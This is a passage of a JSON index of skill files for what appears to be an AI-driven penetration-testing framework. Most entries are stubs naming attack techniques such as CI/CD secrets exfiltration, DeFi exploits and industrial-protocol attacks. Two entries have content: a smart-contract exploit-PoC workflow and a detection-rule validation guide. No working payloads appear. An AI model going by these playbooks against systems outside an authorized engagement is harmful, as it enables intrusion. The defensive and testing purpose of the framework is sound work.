GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/SKILL.md)","tokens":300,"sizeBytes":233},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md","title":"terraform-state-leak","category":"anthropic-skill","format":"markdown","content":"# terraform-state-leak\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/terraform-state-leak/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md","title":"access-control","category":"anthropic-skill","format":"markdown","content":"# access-control\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/access-control/SKILL.md)","tokens":300,"sizeBytes":280},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md","title":"bridge-exploit","category":"anthropic-skill","format":"markdown","content":"# bridge-exploit\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/bridge-exploit/SKILL.md)","tokens":300,"sizeBytes":280},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md","title":"flash-loan","category":"anthropic-skill","format":"markdown","content":"# flash-loan\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/flash-loan/SKILL.md)","tokens":300,"sizeBytes":268},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md","title":"governance-attack","category":"anthropic-skill","format":"markdown","content":"# governance-attack\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/governance-attack/SKILL.md)","tokens":300,"sizeBytes":289},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md","title":"mev-sandwich","category":"anthropic-skill","format":"markdown","content":"# mev-sandwich\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/mev-sandwich/SKILL.md)","tokens":300,"sizeBytes":274},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md","title":"oracle-manipulation","category":"anthropic-skill","format":"markdown","content":"# oracle-manipulation\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/oracle-manipulation/SKILL.md)","tokens":300,"sizeBytes":295},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md","title":"reentrancy","category":"anthropic-skill","format":"markdown","content":"# reentrancy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/reentrancy/SKILL.md)","tokens":300,"sizeBytes":268},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md","title":"signature-replay","category":"anthropic-skill","format":"markdown","content":"# signature-replay\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/signature-replay/SKILL.md)","tokens":300,"sizeBytes":286},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/SKILL.md","title":"contracts-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: contracts-overview\ndescription: Smart contract audit lane — Solidity/EVM pattern scanner, Slither ingestion, Foundry PoC generation, DeFi attack playbooks.\nmetadata:\n subdomain: smart-contracts\n when_to_use: \"smart contract solidity evm slither foundry defi audit lane overview routing\"\n mitre_attack:\n - T1190\n - T1565\n - T1565.001\n capability_contract:\n lane: web3\n scope: isolated-lab\n environment: [anvil, forked-chain]\n required_tools: [forge, slither]\n evidence: [foundry-poc, evm-trace, patched-build-result]\n verification: \"run the exploit test against the exact deployment or pinned fork\"\n negative_control: \"run the baseline test without the exploit precondition\"\n scorecard: [validated-rate, patched-build-non-repro-rate, unique-root-causes]\n benchmark: held-out-web3\n---\n\n# Smart Contract Audit Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/contracts/reentrancy/SKILL.md` | Classic + read-only reentrancy |\n| `/skills/standard/contracts/oracle-manipulation/SKILL.md`| Single-block TWAP / spot price abuse |\n| `/skills/standard/contracts/flash-loan/SKILL.md` | Flash-loan callback + unauth gadgets |\n| `/skills/standard/contracts/access-control/SKILL.md` | Missing modifiers, wrong msg.sender |\n| `/skills/standard/contracts/upgradeable-proxy/SKILL.md` | Uninitialized impl, storage clash |\n| `/skills/standard/contracts/signature-replay/SKILL.md` | Cross-chain, ecrecover zero address |\n\n## Workflow\n1. Map the target: `bash(\"find /workspace/src -name '*.sol' | head -50\")`\n2. `solidity_scan_file` on each file\n3. Run slither: `bash(\"cd /workspace && slither . --json slither.json\")`\n4. `slither_ingest(\"/workspace/slither.json\")`\n5. `kg_query(kind=\"vulnerability\", min_severity=\"high\")` to see the highs\n6. For each high, generate a Foundry PoC via `foundry_reentrancy_test` etc.\n7. `bash(\"forge test -vvv --match-contract Test_\")` to run\n8. Promote passing PoCs as validated findings\n\n## Default severity floor\n| Impact | CVSS / Reward tier |\n|--------------------------------|--------------------|\n| Loss of user funds | Critical (9.8+) |\n| Locked funds / permanent DoS | High (7.5-9.0) |\n| Temporary DoS / griefing | Medium (5-7) |\n| View-only data leak | Low (3-5) |\n","frontmatter":{"name":"contracts-overview","description":"Smart contract audit lane — Solidity/EVM pattern scanner, Slither ingestion, Foundry PoC generation, DeFi attack playbooks.","metadata":{"subdomain":"smart-contracts","when_to_use":"smart contract solidity evm slither foundry defi audit lane overview routing","mitre_attack":["T1190","T1565","T1565.001"],"capability_contract":{"lane":"web3","scope":"isolated-lab","environment":["anvil","forked-chain"],"required_tools":["forge","slither"],"evidence":["foundry-poc","evm-trace","patched-build-result"],"verification":"run the exploit test against the exact deployment or pinned fork","negative_control":"run the baseline test without the exploit precondition","scorecard":["validated-rate","patched-build-non-repro-rate","unique-root-causes"],"benchmark":"held-out-web3"}}},"isInternal":false,"tokens":626,"sizeBytes":2362},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md","title":"upgradeable-proxy","category":"anthropic-skill","format":"markdown","content":"# upgradeable-proxy\n\nPath: `packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/contracts/upgradeable-proxy/SKILL.md)","tokens":300,"sizeBytes":289},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md","title":"engagement-lifecycle","category":"anthropic-skill","format":"markdown","content":"# engagement-lifecycle\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-lifecycle/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md","title":"engagement-startup","category":"anthropic-skill","format":"markdown","content":"# engagement-startup\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/engagement-startup/SKILL.md)","tokens":300,"sizeBytes":294},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md","title":"final-report","category":"anthropic-skill","format":"markdown","content":"# final-report\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/final-report/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md","title":"kali-mcp-bridge","category":"anthropic-skill","format":"markdown","content":"# kali-mcp-bridge\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kali-mcp-bridge/SKILL.md)","tokens":300,"sizeBytes":285},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md","title":"kill-chain-analysis","category":"anthropic-skill","format":"markdown","content":"# kill-chain-analysis\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/kill-chain-analysis/SKILL.md)","tokens":300,"sizeBytes":297},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md","title":"orchestration","category":"anthropic-skill","format":"markdown","content":"# orchestration\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/orchestration/SKILL.md)","tokens":300,"sizeBytes":279},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md","title":"pentest-task-tree","category":"anthropic-skill","format":"markdown","content":"# pentest-task-tree\n\nPath: `packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/decepticon/pentest-task-tree/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/dfir/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/dfir/SKILL.md","title":"dfir-overview","category":"anthropic-skill","format":"markdown","content":"---\nname: dfir-overview\ndescription: >\n Use to close the Offensive Vaccine loop on the defender side. The Detector\n agent produces Sigma / YARA rules from offensive operations; this catalog\n validates those rules against real memory dumps, event logs, and forensic\n artifacts using Volatility 3, plaso, and sigma-cli. Without this catalog,\n detection rules are theoretical.\nmetadata:\n skillogy:\n version: 1\n subdomain: dfir\n when_to_use: \"dfir validation sigma yara volatility plaso memory dump event log forensic artifact detection rule blue team\"\n tags: dfir, memory, volatility, plaso, sigma, validation, blue-team\n upstream_ref: \"Sigma rules + YARA + Volatility 3 + plaso — detection-rule validation harness for the Offensive Vaccine loop\"\n---\n\n# Forensicator / DFIR Skill Catalog\n\nDecepticon emits attacks AND detection rules. This catalog feeds the\ndetection rules back through real forensic artifacts to confirm they fire\n— closing the Offensive Vaccine loop on the operations side.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the validation guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **volatility-windows** | Volatility 3 Windows plugins: pslist, malfind, cmdline, netscan, dlllist, handles |\n| **volatility-linux** | Volatility 3 Linux: linux.pslist, linux.bash, linux.malfind |\n| **plaso-timeline** | psort + log2timeline; super-timeline construction; Sigma matchers on the timeline |\n| **sigma-cli-validation** | sigma-cli convert + match against captured event logs |\n| **yara-scan** | yara-x scan against memory dumps and disk images |\n| **event-log-mining** | Windows Event Log (.evtx) extraction + key event ID reference |\n| **etw-trace** | ETW provider triage; .etl file extraction |\n| **edr-validation** | Replay an attack against a target with Velociraptor / OSQuery active; capture artifacts |\n\n## Detection validation\n\n- Collect the event log from the relevant host at attack time, along with\n the detection rule and expected event pattern (for example, event 4662\n with the relevant `ControlAccessRights`).\n- Run `sigma-cli convert --target sqlite` and match against the log file.\n A zero match count requires checking the rule and artifact coverage;\n matches provide evidence that the rule detects the captured activity.\n- Record the match count and supporting forensic artifacts in the\n engagement knowledge graph.\n- For patch-regression validation, verify whether the rule still fires\n on attempted exploitation of the patched build.\n\n## Tools sandbox\n\n- Volatility 3 (`vol`, `volshell`) — already in operator's AGENTS.md tooling.\n- plaso (`log2timeline`, `psort`).\n- sigma-cli (`sigma convert`, `sigma check`).\n- yara-x (`yr`) — operator already has it installed at `C:\\Tools\\yara-x\\yr.exe`.\n- Velociraptor + OSQuery (for live-system validation paths).\n\n## Why this is differentiating\n\nStrix doesn't have this. XBOW doesn't have this. The \"Offensive Vaccine\"\npromise (every attack becomes a defense improvement) is only deliverable\nwhen someone validates the detection. Without Forensicator, the loop\nstops at \"rule written\". With it, the loop completes at \"rule verified to\nfire on this attack class against this client's stack\".\n","frontmatter":{"name":"dfir-overview","description":"Use to close the Offensive Vaccine loop on the defender side. The Detector agent produces Sigma / YARA rules from offensive operations; this catalog validates those rules against real memory dumps, event logs, and forensic artifacts using Volatility 3, plaso, and sigma-cli. Without this catalog, detection rules are theoretical.\n","metadata":{"skillogy":{"version":1},"subdomain":"dfir","when_to_use":"dfir validation sigma yara volatility plaso memory dump event log forensic artifact detection rule blue team","tags":"dfir, memory, volatility, plaso, sigma, validation, blue-team","upstream_ref":"Sigma rules + YARA + Volatility 3 + plaso — detection-rule validation harness for the Offensive Vaccine loop"}},"isInternal":false,"tokens":804,"sizeBytes":3451},{"name":"attack-paths.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/references/attack-paths.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md","title":"ad","category":"anthropic-skill","format":"markdown","content":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ad/SKILL.md)","tokens":300,"sizeBytes":240},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md","title":"grpc","category":"anthropic-skill","format":"markdown","content":"# grpc\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/grpc/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md","title":"server-sent-events","category":"anthropic-skill","format":"markdown","content":"# server-sent-events\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/server-sent-events/SKILL.md)","tokens":300,"sizeBytes":296},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md","title":"api","category":"anthropic-skill","format":"markdown","content":"# api\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/SKILL.md)","tokens":300,"sizeBytes":243},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md","title":"soap-wsdl","category":"anthropic-skill","format":"markdown","content":"# soap-wsdl\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/soap-wsdl/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md","title":"websocket","category":"anthropic-skill","format":"markdown","content":"# websocket\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md","title":"cicd-secrets-exfil","category":"anthropic-skill","format":"markdown","content":"# cicd-secrets-exfil\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/cicd-secrets-exfil/SKILL.md)","tokens":300,"sizeBytes":298},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md","title":"github-actions-injection","category":"anthropic-skill","format":"markdown","content":"# github-actions-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/github-actions-injection/SKILL.md)","tokens":300,"sizeBytes":316},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md","title":"poisoned-pipeline-execution","category":"anthropic-skill","format":"markdown","content":"# poisoned-pipeline-execution\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/poisoned-pipeline-execution/SKILL.md)","tokens":300,"sizeBytes":325},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md","title":"self-hosted-runner-abuse","category":"anthropic-skill","format":"markdown","content":"# self-hosted-runner-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/self-hosted-runner-abuse/SKILL.md)","tokens":300,"sizeBytes":316},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md","title":"cicd","category":"anthropic-skill","format":"markdown","content":"# cicd\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/cicd/SKILL.md)","tokens":300,"sizeBytes":246},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md","title":"crypto","category":"anthropic-skill","format":"markdown","content":"# crypto\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/crypto/SKILL.md)","tokens":300,"sizeBytes":252},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md","title":"edge-device-exploitation","category":"anthropic-skill","format":"markdown","content":"# edge-device-exploitation\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/edge-device-exploitation/SKILL.md)","tokens":300,"sizeBytes":306},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md","title":"bacnet","category":"anthropic-skill","format":"markdown","content":"# bacnet\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/bacnet/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md","title":"dnp3","category":"anthropic-skill","format":"markdown","content":"# dnp3\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/dnp3/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md","title":"enip-cip","category":"anthropic-skill","format":"markdown","content":"# enip-cip\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/enip-cip/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md","title":"modbus","category":"anthropic-skill","format":"markdown","content":"# modbus\n\nPath: `packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/modbus/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md","title":"opcua","category":"anthropic-skill","format":"markdown","content":"# 